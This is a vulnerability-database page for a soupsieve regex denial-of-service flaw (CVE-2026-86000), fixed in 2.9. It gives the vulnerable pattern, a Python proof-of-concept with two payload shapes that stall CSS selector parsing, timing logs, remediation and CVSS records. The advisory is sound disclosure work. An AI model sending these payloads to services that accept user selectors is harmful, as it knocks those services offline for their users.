Vulnerability-Lookup

GHSA-GJV8-XP57-G29C

Vulnerability from github – Published: 2026-09-17 20:32 – Updated: 2026-09-17 20:32

Summary

Soup Sieve: Polynomial-time ReDoS (O(n²)) in the `IDENTIFIER` / `VALUE` selector sub-patterns

Details

Summary

soupsieve compiles CSS selector strings with a set of hand-written regular expressions. The shared IDENTIFIER sub-pattern (also embedded in VALUE, and therefore in attribute selectors) places two adjacent quantified groups over overlapping character classes: (?:[classA]|ESC)+(?:[classB]|ESC)*, where both classes match ordinary identifier characters such as a. When a selector contains a long identifier/value run that must ultimately fail to match (e.g. an attribute value with no closing ], or an identifier followed by an invalid character), the regex engine backtracks across all O(n) ways to split the run between the + group and the * group, giving O(n²) parse time. A single attacker-controlled selector of a few kilobytes stalls the interpreter for many seconds of CPU; tens of kilobytes reach minutes.

Trust model (Q0)

The selector string is the input. It reaches this code via soupsieve.compile(), soupsieve.select/iselect/match/filter, and — most commonly — BeautifulSoup's soup.select(selector) / soup.select_one(selector), which delegate to soupsieve. This is exploitable in any application that passes a user-controlled CSS selector to BeautifulSoup/soupsieve (scrapers that accept selectors, no-code extraction tools, admin/query UIs). Applications that only use hard-coded selectors are not affected.

Root cause (exact anchors) — `src/soupsieve/css_parser.py`

# lines 122-126
IDENTIFIER = fr'''
(?:(?:-?(?:[^\x00-\x2f\x30-\x40\x5B-\x5E\x60\x7B-\x9f]|{CSS_ESCAPES})+|--)
(?:[^\x00-\x2c\x2e\x2f\x3A-\x40\x5B-\x5E\x60\x7B-\x9f]|{CSS_ESCAPES})*)
'''
# line 129 — VALUE embeds IDENTIFIER (so attribute values inherit the pattern)
VALUE = fr'''(?:"(?:\\(?:.|{NEWLINE})|[^\\"\r\n\f])*?"|'...'|{IDENTIFIER})'''

classA [^\x00-\x2f\x30-\x40\x5B-\x5E\x60\x7B-\x9f] excludes digits (0x30-0x39); classB [^\x00-\x2c\x2e\x2f\x3A-\x40\x5B-\x5E\x60\x7B-\x9f] allows digits. The intent is "first char not a digit, remaining chars may be digits."
Both classes match ordinary letters (e.g. a = 0x61). The construct is therefore effectively (?:C)+(?:C)* over an overlapping class C — the canonical adjacent-quantifier shape that backtracks quadratically on a failing match.

The quadratic only manifests when the overall match must fail. IDENTIFIER matched greedily on "a"*n succeeds in linear time (~1 ms at n=32000). Anchoring it so a following element is mandatory and fails (IDENTIFIER + "$" against "a"*n + "!") reproduces the O(n²) directly: n=2000 → 44 ms, 4000 → 257 ms, 8000 → 743 ms, 16000 → 2944 ms (~×4 per ×2). Profiling compile("[a=" + "a"*4000) shows only 12 re.match calls consuming 2.685 s — i.e. the cost is inside a single regex match, confirming regex backtracking (not loop overhead).

Reproduction environment (discipline #12 — published artifact)

git HEAD 751c57b (2.9, PYTHONPATH=src): cd src && python3 ../poc/poc_redos_compile.py.
Published PyPI soupsieve 2.8.4 (fresh uv pip install soupsieve beautifulsoup4): cd poc && ../.venv-published/bin/python poc_redos_compile.py → same O(n²) (evidence: poc/evidence_redos_compile_PUBLISHED_2.8.4.log).
Python 3.11.15 and 3.14.6 both reproduce.

PoC (`poc/poc_redos_compile.py`)

import sys, time
sys.path.insert(0, ".")
import soupsieve as sv

def compile_time(sel):
    t0 = time.perf_counter()
    try:
        sv.compile(sel)
        status = "ok"
    except Exception as e:
        status = type(e).__name__
    return (time.perf_counter() - t0), status

print(f"soupsieve {sv.__version__}\n")

print("Payload A: '[a=' + 'a'*n   (unterminated attribute value)")
for n in (1000, 2000, 4000, 8000):
    dt, st = compile_time("[a=" + "a" * n)
    print(f"  n={n:<6} len={3+n:<7} {dt*1000:9.1f} ms  [{st}]")

print("\nPayload B: 'a'*n + '!'   (identifier run + invalid trailing char)")
for n in (2000, 4000, 8000, 16000):
    dt, st = compile_time("a" * n + "!")
    print(f"  n={n:<6} len={n+1:<7} {dt*1000:9.1f} ms  [{st}]")

payload = "[a=" + "a" * 12000
dt, st = compile_time(payload)
print(f"\n[+] Single call: compile('[a=' + 'a'*12000)  (len={len(payload)})")
print(f"[+] wall time = {dt:.2f} s   [{st}]")

End-to-end note: bs4.BeautifulSoup(html).select(payload) reaches the same compile() path, so the stall is triggerable directly through BeautifulSoup with a user-supplied selector. Verified on bs4 4.15.0 + soupsieve 2.8.4: soup.select("[a=" + "a"*6000) took ~5.0 s for one call (evidence: poc/evidence_bs4_select_PUBLISHED_2.8.4.log).

Evidence — HEAD 2.9 (verbatim `poc/evidence_redos_compile.log`)

soupsieve 2.9

Payload A: '[a=' + 'a'*n   (unterminated attribute value)
  n=1000   len=1003        214.8 ms  [SelectorSyntaxError]
  n=2000   len=2003        504.7 ms  [SelectorSyntaxError]
  n=4000   len=4003       2031.9 ms  [SelectorSyntaxError]
  n=8000   len=8003       8091.3 ms  [SelectorSyntaxError]

Payload B: 'a'*n + '!'   (identifier run + invalid trailing char)
  n=2000   len=2001         79.7 ms  [SelectorSyntaxError]
  n=4000   len=4001        322.9 ms  [SelectorSyntaxError]
  n=8000   len=8001       1328.9 ms  [SelectorSyntaxError]
  n=16000  len=16001      5379.4 ms  [SelectorSyntaxError]

[+] Single call: compile('[a=' + 'a'*12000)  (len=12003)
[+] wall time = 18.28 s   [SelectorSyntaxError]

Evidence — published 2.8.4 (verbatim `poc/evidence_redos_compile_PUBLISHED_2.8.4.log`)

soupsieve 2.8.4
Payload A: '[a=' + 'a'*n
  n=1000   len=1003        113.9 ms  [SelectorSyntaxError]
  n=2000   len=2003        457.2 ms  [SelectorSyntaxError]
  n=4000   len=4003       1816.8 ms  [SelectorSyntaxError]
  n=8000   len=8003       7299.0 ms  [SelectorSyntaxError]
[+] Single call: compile('[a=' + 'a'*12000)  wall time = 16.57 s   [SelectorSyntaxError]

Impact — calibrated

Confirmed: quadratic CPU consumption per compile()/select() call on an attacker-controlled selector. ~8 KB → ~8 s; ~12 KB → ~17 s; scaling ~×4 per input doubling. A handful of such requests exhausts a worker/thread and degrades or stalls the service (single-threaded regex holds the GIL).
Realistic exposure: services that accept user-supplied CSS selectors and feed them to BeautifulSoup/soupsieve.
NOT claimed: exponential blowup, memory corruption, or code execution. This is strictly an availability (DoS) issue, and only where selectors are attacker-influenced. Applications using only fixed selectors are unaffected — stated to avoid inflation.

Remediation

Remove the adjacent-quantifier ambiguity in IDENTIFIER: match a single leading non-digit character then the remaining class once, e.g. (?:-?(?:[classA]|ESC)(?:[classB]|ESC)*|--(?:[classB]|ESC)*), so no +/* pair spans the same characters.
Alternatively use atomic grouping / possessive quantifiers where supported ((?>...), *+) to forbid backtracking into the identifier run.
Defense-in-depth: cap selector length before compiling (reject selectors beyond a sane bound), since CSS selectors are realistically short.

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Show details on source website

JSON

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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "soupsieve"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-86000"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-17T20:32:58Z",
    "nvd_published_at": "2026-09-17T16:18:16Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nsoupsieve compiles CSS selector strings with a set of hand-written regular expressions. The shared `IDENTIFIER` sub-pattern (also embedded in `VALUE`, and therefore in attribute selectors) places two adjacent quantified groups over overlapping character classes: `(?:[classA]|ESC)+(?:[classB]|ESC)*`, where both classes match ordinary identifier characters such as `a`. When a selector contains a long identifier/value run that must ultimately fail to match (e.g. an attribute value with no closing `]`, or an identifier followed by an invalid character), the regex engine backtracks across all O(n) ways to split the run between the `+` group and the `*` group, giving O(n\u00b2) parse time. A single attacker-controlled selector of a few kilobytes stalls the interpreter for many seconds of CPU; tens of kilobytes reach minutes.\n\n## Trust model (Q0)\n\nThe selector string is the input. It reaches this code via `soupsieve.compile()`, `soupsieve.select/iselect/match/filter`, and \u2014 most commonly \u2014 BeautifulSoup\u0027s `soup.select(selector)` / `soup.select_one(selector)`, which delegate to soupsieve. This is exploitable in any application that passes a user-controlled CSS selector to BeautifulSoup/soupsieve (scrapers that accept selectors, no-code extraction tools, admin/query UIs). Applications that only use hard-coded selectors are not affected.\n\n## Root cause (exact anchors) \u2014 `src/soupsieve/css_parser.py`\n\n```python\n# lines 122-126\nIDENTIFIER = fr\u0027\u0027\u0027\n(?:(?:-?(?:[^\\x00-\\x2f\\x30-\\x40\\x5B-\\x5E\\x60\\x7B-\\x9f]|{CSS_ESCAPES})+|--)\n(?:[^\\x00-\\x2c\\x2e\\x2f\\x3A-\\x40\\x5B-\\x5E\\x60\\x7B-\\x9f]|{CSS_ESCAPES})*)\n\u0027\u0027\u0027\n# line 129 \u2014 VALUE embeds IDENTIFIER (so attribute values inherit the pattern)\nVALUE = fr\u0027\u0027\u0027(?:\"(?:\\\\(?:.|{NEWLINE})|[^\\\\\"\\r\\n\\f])*?\"|\u0027...\u0027|{IDENTIFIER})\u0027\u0027\u0027\n```\n\n- classA `[^\\x00-\\x2f\\x30-\\x40\\x5B-\\x5E\\x60\\x7B-\\x9f]` excludes digits (0x30-0x39); classB `[^\\x00-\\x2c\\x2e\\x2f\\x3A-\\x40\\x5B-\\x5E\\x60\\x7B-\\x9f]` allows digits. The intent is \"first char not a digit, remaining chars may be digits.\"\n- Both classes match ordinary letters (e.g. `a` = 0x61). The construct is therefore effectively `(?:C)+(?:C)*` over an overlapping class C \u2014 the canonical adjacent-quantifier shape that backtracks quadratically on a failing match.\n\nThe quadratic only manifests when the overall match must fail. `IDENTIFIER` matched greedily on `\"a\"*n` succeeds in linear time (~1 ms at n=32000). Anchoring it so a following element is mandatory and fails (`IDENTIFIER + \"$\"` against `\"a\"*n + \"!\"`) reproduces the O(n\u00b2) directly: n=2000 \u2192 44 ms, 4000 \u2192 257 ms, 8000 \u2192 743 ms, 16000 \u2192 2944 ms (~\u00d74 per \u00d72). Profiling `compile(\"[a=\" + \"a\"*4000)` shows only 12 `re.match` calls consuming 2.685 s \u2014 i.e. the cost is inside a single regex match, confirming regex backtracking (not loop overhead).\n\n## Reproduction environment (discipline #12 \u2014 published artifact)\n\n- git HEAD `751c57b` (2.9, `PYTHONPATH=src`): `cd src \u0026\u0026 python3 ../poc/poc_redos_compile.py`.\n- Published PyPI `soupsieve 2.8.4` (fresh `uv pip install soupsieve beautifulsoup4`): `cd poc \u0026\u0026 ../.venv-published/bin/python poc_redos_compile.py` \u2192 same O(n\u00b2) (evidence: `poc/evidence_redos_compile_PUBLISHED_2.8.4.log`).\n- Python 3.11.15 and 3.14.6 both reproduce.\n\n## PoC (`poc/poc_redos_compile.py`)\n\n```python\nimport sys, time\nsys.path.insert(0, \".\")\nimport soupsieve as sv\n\ndef compile_time(sel):\n    t0 = time.perf_counter()\n    try:\n        sv.compile(sel)\n        status = \"ok\"\n    except Exception as e:\n        status = type(e).__name__\n    return (time.perf_counter() - t0), status\n\nprint(f\"soupsieve {sv.__version__}\\n\")\n\nprint(\"Payload A: \u0027[a=\u0027 + \u0027a\u0027*n   (unterminated attribute value)\")\nfor n in (1000, 2000, 4000, 8000):\n    dt, st = compile_time(\"[a=\" + \"a\" * n)\n    print(f\"  n={n:\u003c6} len={3+n:\u003c7} {dt*1000:9.1f} ms  [{st}]\")\n\nprint(\"\\nPayload B: \u0027a\u0027*n + \u0027!\u0027   (identifier run + invalid trailing char)\")\nfor n in (2000, 4000, 8000, 16000):\n    dt, st = compile_time(\"a\" * n + \"!\")\n    print(f\"  n={n:\u003c6} len={n+1:\u003c7} {dt*1000:9.1f} ms  [{st}]\")\n\npayload = \"[a=\" + \"a\" * 12000\ndt, st = compile_time(payload)\nprint(f\"\\n[+] Single call: compile(\u0027[a=\u0027 + \u0027a\u0027*12000)  (len={len(payload)})\")\nprint(f\"[+] wall time = {dt:.2f} s   [{st}]\")\n```\n\nEnd-to-end note: `bs4.BeautifulSoup(html).select(payload)` reaches the same `compile()` path, so the stall is triggerable directly through BeautifulSoup with a user-supplied selector. Verified on bs4 4.15.0 + soupsieve 2.8.4: `soup.select(\"[a=\" + \"a\"*6000)` took ~5.0 s for one call (evidence: `poc/evidence_bs4_select_PUBLISHED_2.8.4.log`).\n\n## Evidence \u2014 HEAD 2.9 (verbatim `poc/evidence_redos_compile.log`)\n\n```\nsoupsieve 2.9\n\nPayload A: \u0027[a=\u0027 + \u0027a\u0027*n   (unterminated attribute value)\n  n=1000   len=1003        214.8 ms  [SelectorSyntaxError]\n  n=2000   len=2003        504.7 ms  [SelectorSyntaxError]\n  n=4000   len=4003       2031.9 ms  [SelectorSyntaxError]\n  n=8000   len=8003       8091.3 ms  [SelectorSyntaxError]\n\nPayload B: \u0027a\u0027*n + \u0027!\u0027   (identifier run + invalid trailing char)\n  n=2000   len=2001         79.7 ms  [SelectorSyntaxError]\n  n=4000   len=4001        322.9 ms  [SelectorSyntaxError]\n  n=8000   len=8001       1328.9 ms  [SelectorSyntaxError]\n  n=16000  len=16001      5379.4 ms  [SelectorSyntaxError]\n\n[+] Single call: compile(\u0027[a=\u0027 + \u0027a\u0027*12000)  (len=12003)\n[+] wall time = 18.28 s   [SelectorSyntaxError]\n```\n\n## Evidence \u2014 published 2.8.4 (verbatim `poc/evidence_redos_compile_PUBLISHED_2.8.4.log`)\n\n```\nsoupsieve 2.8.4\nPayload A: \u0027[a=\u0027 + \u0027a\u0027*n\n  n=1000   len=1003        113.9 ms  [SelectorSyntaxError]\n  n=2000   len=2003        457.2 ms  [SelectorSyntaxError]\n  n=4000   len=4003       1816.8 ms  [SelectorSyntaxError]\n  n=8000   len=8003       7299.0 ms  [SelectorSyntaxError]\n[+] Single call: compile(\u0027[a=\u0027 + \u0027a\u0027*12000)  wall time = 16.57 s   [SelectorSyntaxError]\n```\n\n## Impact \u2014 calibrated\n\n- Confirmed: quadratic CPU consumption per `compile()`/`select()` call on an attacker-controlled selector. ~8 KB \u2192 ~8 s; ~12 KB \u2192 ~17 s; scaling ~\u00d74 per input doubling. A handful of such requests exhausts a worker/thread and degrades or stalls the service (single-threaded regex holds the GIL).\n- Realistic exposure: services that accept user-supplied CSS selectors and feed them to BeautifulSoup/soupsieve.\n- NOT claimed: exponential blowup, memory corruption, or code execution. This is strictly an availability (DoS) issue, and only where selectors are attacker-influenced. Applications using only fixed selectors are unaffected \u2014 stated to avoid inflation.\n\n## Remediation\n\n- Remove the adjacent-quantifier ambiguity in `IDENTIFIER`: match a single leading non-digit character then the remaining class once, e.g. `(?:-?(?:[classA]|ESC)(?:[classB]|ESC)*|--(?:[classB]|ESC)*)`, so no `+`/`*` pair spans the same characters.\n- Alternatively use atomic grouping / possessive quantifiers where supported (`(?\u003e...)`, `*+`) to forbid backtracking into the identifier run.\n- Defense-in-depth: cap selector length before compiling (reject selectors beyond a sane bound), since CSS selectors are realistically short.",
  "id": "GHSA-gjv8-xp57-g29c",
  "modified": "2026-09-17T20:32:58Z",
  "published": "2026-09-17T20:32:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/facelessuser/soupsieve/security/advisories/GHSA-gjv8-xp57-g29c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-86000"
    },
    {
      "type": "WEB",
      "url": "https://github.com/facelessuser/soupsieve/commit/ce44e4996e6632871c18cdd7a7fb641be8ef34ef"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/facelessuser/soupsieve"
    },
    {
      "type": "WEB",
      "url": "https://github.com/facelessuser/soupsieve/releases/tag/2.9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Soup Sieve: Polynomial-time ReDoS (O(n\u00b2)) in the `IDENTIFIER` / `VALUE` selector sub-patterns"
}

CVE-2026-86000 (GCVE-0-2026-86000)

Vulnerability from cvelistv5 – Published: 2026-09-17 15:21 – Updated: 2026-09-17 15:45

Title

Soup Sieve: Polynomial-time ReDoS (O(n²)) in the `IDENTIFIER` / `VALUE` selector sub-patterns

Summary

Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.9, the selector parser in src/soupsieve/css_parser.py defines IDENTIFIER with adjacent quantified groups over overlapping character classes, and VALUE embeds IDENTIFIER for attribute selectors. When an attacker-controlled selector contains a long identifier or unquoted attribute-value run followed by input that makes the overall match fail, the regular expression engine explores quadratically many splits between the overlapping groups. User-controlled selectors can reach this path through soupsieve.compile(), soupsieve.select(), or BeautifulSoup.select(), while applications using only hard-coded selectors are unaffected. The resulting CPU consumption can hold the Python GIL, exhaust application workers, and stall a service; successful plain identifier matches are linear, and the issue does not cause memory corruption or code execution. The issue is fixed in version 2.9.

Severity

5.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-17 15:45 UTC

CWE

CWE-400 - Uncontrolled Resource Consumption
CWE-1333 - Inefficient Regular Expression Complexity

Assigner

GitHub_M mitre root

References

3 references

URL	Tags
https://github.com/facelessuser/soupsieve/securit…	x_refsource_CONFIRM
https://github.com/facelessuser/soupsieve/commit/…	x_refsource_MISC
https://github.com/facelessuser/soupsieve/release…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
facelessuser	soupsieve	Affected: < 2.9

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-86000",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-09-17T15:45:31.018009Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-09-17T15:45:49.251Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/facelessuser/soupsieve/security/advisories/GHSA-gjv8-xp57-g29c"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "soupsieve",
          "vendor": "facelessuser",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.9"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.9, the selector parser in src/soupsieve/css_parser.py defines IDENTIFIER with adjacent quantified groups over overlapping character classes, and VALUE embeds IDENTIFIER for attribute selectors. When an attacker-controlled selector contains a long identifier or unquoted attribute-value run followed by input that makes the overall match fail, the regular expression engine explores quadratically many splits between the overlapping groups. User-controlled selectors can reach this path through soupsieve.compile(), soupsieve.select(), or BeautifulSoup.select(), while applications using only hard-coded selectors are unaffected. The resulting CPU consumption can hold the Python GIL, exhaust application workers, and stall a service; successful plain identifier matches are linear, and the issue does not cause memory corruption or code execution. The issue is fixed in version 2.9."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "LOW",
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-400",
              "description": "CWE-400: Uncontrolled Resource Consumption",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-1333",
              "description": "CWE-1333: Inefficient Regular Expression Complexity",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-17T15:21:57.724Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/facelessuser/soupsieve/security/advisories/GHSA-gjv8-xp57-g29c",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/facelessuser/soupsieve/security/advisories/GHSA-gjv8-xp57-g29c"
        },
        {
          "name": "https://github.com/facelessuser/soupsieve/commit/ce44e4996e6632871c18cdd7a7fb641be8ef34ef",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/facelessuser/soupsieve/commit/ce44e4996e6632871c18cdd7a7fb641be8ef34ef"
        },
        {
          "name": "https://github.com/facelessuser/soupsieve/releases/tag/2.9",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/facelessuser/soupsieve/releases/tag/2.9"
        }
      ],
      "source": {
        "advisory": "GHSA-gjv8-xp57-g29c",
        "discovery": "UNKNOWN"
      },
      "title": "Soup Sieve: Polynomial-time ReDoS (O(n\u00b2)) in the `IDENTIFIER` / `VALUE` selector sub-patterns"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-86000",
    "datePublished": "2026-09-17T15:21:57.724Z",
    "dateReserved": "2026-09-04T19:17:36.246Z",
    "dateUpdated": "2026-09-17T15:45:49.251Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-GJV8-XP57-G29C

Summary

Trust model (Q0)

Root cause (exact anchors) — src/soupsieve/css_parser.py

Reproduction environment (discipline #12 — published artifact)

PoC (poc/poc_redos_compile.py)

Evidence — HEAD 2.9 (verbatim poc/evidence_redos_compile.log)

Evidence — published 2.8.4 (verbatim poc/evidence_redos_compile_PUBLISHED_2.8.4.log)

Impact — calibrated

Remediation

CVE-2026-86000 (GCVE-0-2026-86000)

Tags

Sightings

Nomenclature

Related by attack behaviour

Root cause (exact anchors) — `src/soupsieve/css_parser.py`

PoC (`poc/poc_redos_compile.py`)

Evidence — HEAD 2.9 (verbatim `poc/evidence_redos_compile.log`)

Evidence — published 2.8.4 (verbatim `poc/evidence_redos_compile_PUBLISHED_2.8.4.log`)